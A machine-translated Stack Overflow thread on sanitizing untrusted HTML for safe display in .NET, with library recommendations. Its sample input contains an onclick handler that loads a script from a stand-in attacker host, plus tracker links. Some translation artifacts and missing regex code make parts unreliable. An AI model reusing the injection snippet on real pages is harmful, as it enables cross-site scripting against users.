这是一个常见的问题,我希望它已经彻底解决了我 .
在我正在为客户端做的系统中,我们希望从不受信任的来源(HTML格式的电子邮件和HTML文件)接受HTML,清理它以使其没有任何脚本,指向外部资源的链接以及其他安全性/等等问题;然后安全地显示它,同时不丢失基本格式 . 例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止) . :-)
我们的目标是通过我们自己的网络界面中的 iframe
或通过.Net Windows窗体应用程序中的WebBrowser class(这似乎不安全,可能更少),向内部用户显示我感觉很舒服的内容,以下示例 .
我们认识到其中一些可能会破坏文本的显示;没关系 .
我们将在接收时清理HTML并存储已清理的版本(不要覆盖这一点) .
该软件需要在Windows Server上运行 . COM DLL或.Net程序集首选 . FOSS显然是首选,但不是交易破坏者 .
到目前为止我发现了什么:
-
AntiSamy.Net project(但它似乎no longer be under active development,比主要落后一年多 - 并且活跃 - AntiSamy Java project) .
-
Some code来自我们自己的杰夫阿特伍德,大约三年前(哎呀,我不知道他在做什么......) .
-
HTML Agility Pack(由上面的AntiSamy.Net项目使用),它会给我一个强大的解析器;然后我可以实现我自己的逻辑来遍历生成的DOM,并过滤掉我所依赖的任何东西,而不是重复使用某个人反对它的轮子 .
你会为这项任务推荐什么?以上之一?别的什么?
例如,我们想删除以下内容:
-
script
个元素 -
link
,img
,以及与外部资源相关的此类元素(可能会将img
替换为文本"[image removed]"或某些此类内容) -
embed
,object
,applet
,audio
,video
以及其他尝试创建对象的标记 -
onclick
和类似的DOM0事件处理程序脚本代码
259href
在触发代码的a
元素上(即使是我们认为可以使用的链接,我们很可能会变成用户必须有意复制并粘贴到浏览器中的明文) . -
__________(我想要利用已经存在的东西的722件事情)
例如,这个HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
会成为
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(注意我们完全删除了 link
和 onclick
,并用占位符替换了 img
. 这只是我们想要剥离的一小部分 . )
5 回答
这是一个较旧但仍然相关的问题 .
我们正在使用HtmlSanitizer .Net库,其中:
是开源的
积极维护
没有problems like Microsoft Anti-XSS library,
使用OWASP XSS Filter Evasion Cheat Sheet进行单元测试
是专门为此而构建的(与HTML Agility Pack相比,它是一个解析器)
同样在NuGet
我感觉你肯定需要一个可以生成XML / DOM源的解析器,这样你就可以在它上面应用fiter来生成你想要的东西 .
查看HtmlTidy或Mozilla或HtmlCleaner解析器是否有帮助 . HtmlCleaner有很多configurable options,您可能也想看一下 . 特别是transform section,它允许您跳过不需要的标签 .
我建议看http://htmlpurifier.org/ . 他们的图书馆非常完整 .
我建议使用另一种方法 . 如果您控制查看HTML的方法,我将使用没有ECMA脚本引擎或任何XSS功能的HTML呈现来删除所有威胁 . 我发现你将使用内置的WebBrowser对象,这是正确的,你想要生成不能用来攻击用户的HTML .
我建议寻找一个基本的HTML显示引擎 . 一个无法解析或理解任何会使您易受攻击的脚本功能的人 . 那么所有的javascript都会被忽略 .
这确实有另一个问题 . 您需要确保您使用的查看器不容易受到其他类型的攻击 .
有趣的问题,我花了一些时间来面对它,因为我们想要从用户中删除很多东西imput,即使我做了很多要删除的事情,后者在HTML上也会发展,我的列表会有一些漏洞 . 尽管如此,我希望用户输入一些简单的东西,如粗体,斜体,段落......简单 . 毫无疑问,允许的事物列表更短,html可以改变后者,除非html停止支持这些简单的事情,否则不会在我的列表上打洞 . 所以开始另外思考,说出你允许的内容,非常痛苦,因为我不是正则表达式的专家(所以请一些正则表达式的人在这里纠正我或改进)我在HTML5到达之前编码了这个表达式及其工作形式 .
(b | i | p | br)< - 这是允许的标签列表,随意添加一些 .
这是一个起点,这就是为什么一些正则表达式的人应该改进以删除属性,如onclick
如果我这样做:
带有onclick或其他东西的标签将被删除,但相应的结束标签将保留,毕竟我们不希望删除这些标签,我们只想删除标签属性 .
也许第二次正则表达式传递
我对吗?这可以组成一个通行证吗?
我们仍然没有标签之间的关系(打开/关闭),到目前为止还没什么大不了的 . 可以写入属性remove来删除所有不是白名单吗? (可能是的) .
最后一个问题..当删除像 script 这样的标签时,内容仍然存在,当删除 font 时它是理想的,但不是 script ,我们可以做第一遍
这将删除某些标签及其内容..但它是一个黑名单,这意味着你必须留意它,以防html改变 .
注意:全部带“gi”
编辑:
在此功能上加入了以上所有内容
仍然有一个白色的属性列表的地方(上面没有实现),因为如果我想保留IMG,那么src必须保持......那么跟踪图像呢?